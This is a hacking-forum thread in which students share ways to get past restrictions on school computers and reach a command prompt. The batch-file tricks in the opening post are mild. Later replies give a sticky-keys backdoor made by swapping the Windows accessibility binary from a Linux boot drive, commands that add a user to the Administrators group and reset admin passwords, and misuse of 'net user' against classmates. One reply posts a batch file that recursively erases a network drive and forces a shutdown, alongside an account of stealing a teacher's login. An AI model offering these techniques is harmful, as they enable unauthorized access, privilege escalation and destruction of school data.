Thread: [How to get to CMD at school](#)

dismayed - June 1, 2011, 12:16 am

I have been doing some research back couple of years back. I have been trying to hack into a school pc. But once I have been doing this. I realise that it only works on Windows XP and lower (Windows NT ect.) not Windows 7 and Vista. This only needs;

Notepad
Windows Installed

After that your done.

This may not work at your school. They might of blocked notepad. First of all look for CMD in the search bar in start and see if it is unblocked. Or go to 'C:\WINDOWS\system32\cmd.exe' or go to My Computer and press 'Control+F' if not try and use these commands in notepad to access CMD.

First off, open notepad via Go to start-All Programs-Accessories-notepad

Open it;

type in
Code command.com Save as command.bat
and set it as All Programs And Files. And make sure you save it on your desktop.

Then just open command.bat ?

or you can do this.
Code @echo off
start
This should be all. I hope this helps ?

Any problems I will try to help. (I will not tell you any batch commands)

Thanks for your time and reading

Cyber-Security - June 1, 2011, 3:50 pm

Thank you for making this tutorial. It has been made a couple times but this is the most detailed one so far.

Dezzz - June 1, 2011, 6:18 pm

What do you do after you get cmd? There's no point of this.

TIPSYQUO - June 1, 2011, 8:17 pm

(Jun 1, 2011 06:18 PM)Dezinated Wrote: [\[CITE\]](#) What do you do after you get cmd? There's no point

of this.

theres alot you could do if you know what your doing..

but a person that knows what hes doing would already know this..

Mr.Cube - June 1, 2011, 8:32 pm

I'll try this when I get unsuspended thanks;) I'll have fun with this one

No problems. This is one of my first threads to. I hope you enjoyed it

dr.r00t - June 2, 2011, 11:20 pm

Fail! all schools block C:\Desktop\batch.bat and they dont let you save files to those dir + they block file formarts like exe bat vbs ect.

dismayed - June 3, 2011, 1:42 am

My school lets me open .bat files if it is on your/my desktop, but If you open it like for example My Documents it dosen't work. So try saving to your schools desktop

Danny28 - June 11, 2011, 5:21 pm

It's nice to know another way to get to CMD. My school doesn't block it because nobody knows what CMD is :)

or you could type net use

then net user followed by there username to get all their details like passwords

then jump onto a different computer

log into their account and do some dmg their

have fun watching them get into trouble

BTW make sure theyre not on the computer at the time.

ReLiTh - October 19, 2011, 6:43 am

Thanks man....some of us in our school needed this ?

SIM-878011 - October 19, 2011, 11:20 am

Another way to do is Ctrl + Alt + Del, then to task manager, then to file, click run new, type command.com and press enter.

None the less thanks very much for showing me a different way :)

W0lfbane - October 19, 2011, 3:16 pm

None the less thanks very much for showing me a different way :)Your school has task manager

enabled? My school's the opposite (task manager disabled, cmd enabled).
If your school is running Win7 (so command.com won't work), you can use this:
Code @echo off
title CMD
:1
set /p a=%cd%^>
%a%
goto :1

His batch is basically a 'set your own command' batch. Keep in mind the rules of batch apply, not cmd.

domondon1 - October 20, 2011, 11:35 pm

i'd Try this men..but no luck..it did not work for me sir..But thanks for this tutorial

coolfrog - November 16, 2011, 7:44 pm

.bat file format is blocked in ALOT of schools nice thought but no....

tavistar - August 22, 2012, 6:33 pm

Great guide! Now schools wont stop me!

DesuDesuDesuDesu - August 22, 2012, 6:38 pm

PLEASE NEVER OPEN A THREAD THIS OLD. EVER. I UNDERSTAND THAT IT WAS HELPFUL TO YOU, BUT THAT DOESN'T MEAN YOU HAVE TO REPLY.

ITS ALMOST ANNOYING AS CAPS LOCK.

flyingwing12 - August 23, 2012, 9:42 pm

What you really need to do is get a distro of Ubuntu on a bootable drive, sneak it into school

Open it up in the boot menu, go to the file system, go to system32, and rename seth.exe --> cmd.exe and vice versa

Now when you start up, you can press hift 5 times and BOOM. Full permission command prompt.

I used to make admin accounts all the time back in school. Still works at the local library ;)

Useful code:

Net localgroup Administrators (user name) /add.

That will add that user to the machines Admin group. You can even reset the password on the current admin which is set up by the school.

Good luck and keep you're head up.

tdogg96 - August 24, 2012, 6:28 pm

my school is like china. they reset the settings on your computer everyday, and you can only open certain files, defintly not CMD.

Bobbyjosif - August 24, 2012, 7:07 pm

Most schools these days will block the execution of cmd/command.com. Although, you can still make .bat files and execute them.

-EDIT-

This is my 2^8 post!
0001 0000 0000

MOI3 - August 24, 2012, 8:22 pm

Oh memories I did this in 6th grade and got suspended, they said I was hacking the schools computers

byteh4ck - August 25, 2012, 1:59 am

Most people these day know the wifi key and the admin password, you can simply go to system32 and open it yourself with admin acces, if they got any program preventing this, then just stick in your USB stick with the script to disable this program, simple as hell really.

THUG x WRECK - August 25, 2012, 5:35 pm

This little hint will only work on 32-bit systems, because they still retain Command.com, which is a 16-bit command interpreter. Anything x64 uses CMD natively as it doesn't support 16-bit software.

MooCowManiak - August 25, 2012, 6:48 pm

Thank, I used this at school and made myself look like a hacker with Tree, Ping, and coloured text. Everyone freaked out and someone went to the teacher and I shut it off, lol it was worth it >:)

lolcatz - August 26, 2012, 5:30 am

my first post...

i ahve been suspended for 20 days in total for school related network things my first suspension was 15 then a 5 day.

First one: I keylogged a teacher by saying that my internet was not working (When you open internet and go to a site it asks for user and pass same info as login) once i had here user name and pass teachers have rad and write access to the schools servers so made a batch file.

Code @echo off
title bye bye
erase G:\ /f /s /q

```
ipconfig /renew  
shutdown -s -f-t 10  
del bye.bat
```

the renew will re-sync with the servers and update all files in this case remove them all. This got me a 15 day suspension where i am 20 days is the max you can give a child.

Second time: this time which was one week ago i got suspended for 5 days. My school uses a program called lan school google it its like a remote desktop viewer, pisses me off; i could not find a way to disable it the task is counted as system so can stop it there access deniged and the servers is restriced only thing i can think off now is ipconfig /release or block the port it uses.

anyway i first disabled that (ipconfig /release) then in one of my classes we have to do quizzes online. once you have 100% correct a link at the bottom of the page appears click it and it says you have compleated the test. what i did is pressed f12 which shows he code of the webpage, i went through it till i found the links code its a javascript i then pased it into url bar and bam i did it even tho i did nofin lolz.

also i was the creator of the power exsploit at my school, basicly when you logging you only have access to limited things few drives what i found is that if you logging then fonce shutdown the computer boot it wait for the boot logo in my case its the acer logo then shutdown again then reboot start windows normally login and BAM admin access windows stops you from touching system32 and other important things but its good gives access to so much but not network drives as the servers control that.

well that's me at my school i am known for taking down the network, sometimes its annoying when kids say it but sometimes im like fuck yer to them

THUG x WRECK - August 26, 2012, 11:52 am

I hate all you retards talking about your "school suspensions". Let me let you in on something, you are WINDOW LICKERS! Nobody gives a fuck about your pissant achievements. You've done nothing new original or worthwhile. You are school children.

Shut the fuck up.

jsanarde - August 27, 2012, 2:32 am

or you could type net use
then net user followed by there username to get all their details like passwords
then jump onto a different computer
log into their account and do some dmg their
have fun watching them get into trouble
BTW make sure theyre not on the computer at the time.

i doesnt work

My thread was satire, but obviously you're too dumb to understand that.

I bet you are a silly little school child.

Dan4655 - September 1, 2012, 2:54 pm

command.com is good and if its not that protected you can write a code: @echo off
start

LostPirate - September 2, 2012, 4:52 pm

[/b]If (like my school) you cant get to Notepad using the search, what i done was browsed through all these random files and came across a few Notepad documents. Open than and Ctrl+N to make a new one, then you can use that. ?

TINIHACKER - January 23, 2013, 10:44 am

My school let's me use wordpad what's the same as notepad but I can't save the file as .bat is there any other way I can save it?

SadEgg - January 25, 2013, 2:16 am

Thanks, used to use this method all the time. Too bad my school's security was just updated.
But good method!
